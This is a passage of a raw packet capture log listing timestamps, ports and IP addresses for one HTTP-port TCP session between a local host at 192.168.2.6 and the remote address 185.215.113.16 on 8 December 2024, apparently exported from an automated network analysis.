Dec 8, 2024 15:38:55.727006912 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.727050066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.727129936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.727171898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.728674889 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.728717089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.729342937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.729384899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.729744911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.729787111 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.730698109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.730724096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.730735064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.730741024 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.730757952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.730777025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.731794119 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.731842995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.731898069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.731939077 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.733063936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.733105898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.733495951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.733542919 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.734045982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.734059095 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.734091997 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.734107018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.735292912 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.735331059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.736397982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.736408949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.736422062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.736434937 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.736452103 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.737585068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.737632036 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.738795996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.738842964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.738862991 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.738873959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.738897085 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.738919020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.739892960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.739932060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.741065979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.741077900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.741107941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.741121054 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.741167068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.741210938 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.742249012 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.742295980 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.742667913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.742711067 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.743716955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.743762016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.874085903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.874138117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.874183893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.874227047 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.874742031 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.874785900 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.875349045 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.875392914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.877971888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.877985954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.877996922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.878015995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.878030062 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.878232002 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.878243923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.878253937 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.878272057 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.878298044 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.879497051 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.879539013 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.879870892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.879909039 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.880606890 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.880645990 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.880882978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.880924940 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.881697893 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.881742001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.882035017 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.882077932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.883191109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.883239031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.883328915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.883368015 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.884459019 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.884497881 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.884617090 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.884658098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.885523081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.885574102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.885725021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.885766983 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.886365891 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.886404991 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.886637926 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.886682987 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.887445927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.887486935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.887528896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.887561083 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.888657093 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.888669014 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.888703108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.888721943 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.889801979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.889852047 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.889995098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.890041113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.890978098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.891024113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.891191959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.891235113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.892230034 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.892275095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.892365932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.892410040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.893430948 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.893471956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.893650055 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.893692970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.894572973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.894619942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.894774914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.894819975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.895688057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.895728111 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.895807028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.895848989 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.896905899 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.896948099 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.896971941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.897010088 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.898044109 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.898066998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.898087978 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.898098946 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.899611950 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.899658918 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.899736881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.899799109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.900474072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.900517941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.900719881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.900763988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.901612997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.901626110 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.901659012 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.902920008 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.902966022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.903614044 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.903661013 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.903881073 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.903925896 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.904213905 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.904257059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.905205965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.905251980 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.905478001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.905524015 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.906272888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.906320095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.906728029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.906774998 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.907430887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.907475948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.907686949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.907732010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.908603907 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.908622980 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.908651114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.908663988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.909907103 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.909954071 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.910660982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.910706997 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.910960913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.910973072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.911005974 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.912244081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.912292004 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.912873030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.912918091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.913350105 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.913362980 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.913398027 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.914453030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.914498091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.914558887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.914603949 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.915649891 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.915695906 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.916321039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.916366100 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.916830063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.916872025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.916938066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.916980982 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.918020964 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.918066978 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.918682098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.918726921 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.919163942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.919183969 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.919207096 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.919220924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.920335054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.920372009 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.920761108 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.920809031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.921518087 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.921566010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.921941042 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.921992064 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.922740936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.922787905 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.922821999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.922859907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.923846006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.923891068 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.924401045 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.924447060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.925088882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.925137043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.925268888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.925314903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.926229954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.926276922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.926651001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.926697969 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.927387953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.927432060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.927596092 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.927642107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.928642035 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.928654909 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.928694010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.929841042 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.929893970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.929928064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.929968119 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.930991888 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.931045055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.932109118 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.932121992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.932156086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.932167053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.932172060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.932204962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.933329105 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.933372021 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.934480906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.934494019 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.934505939 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.934531927 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.934559107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:55.935564041 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:55.935625076 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.066265106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.066342115 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.066652060 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.066704035 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.066920996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.066932917 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.066972971 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.067959070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.068006992 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.069284916 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.069297075 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.069308996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.069336891 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.069350958 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.070430040 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.070477962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.070925951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.070971966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.071738958 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.071789026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.072196960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.072242022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.072603941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.072650909 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.072729111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.072772026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.073674917 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.073723078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.074227095 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.074270010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.074902058 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.074954033 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.075197935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.075243950 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.075934887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.075998068 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.076348066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.076400995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.077104092 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.077152014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.077193975 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.077239037 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.078388929 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.078402996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.078449965 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.078471899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.079591990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.079654932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.080363989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.080415010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.080722094 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.080734015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.080775023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.083070040 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.083082914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.083095074 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.083128929 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.083148003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.083157063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.083197117 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.084198952 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.084213972 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.084252119 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.084264994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.086283922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.086297035 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.086338043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.086349964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.086596012 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.086637020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.086806059 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.086849928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.087737083 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.087749004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.087795019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.088977098 CET	80	49825	185.215.113.16	192.168.2.6
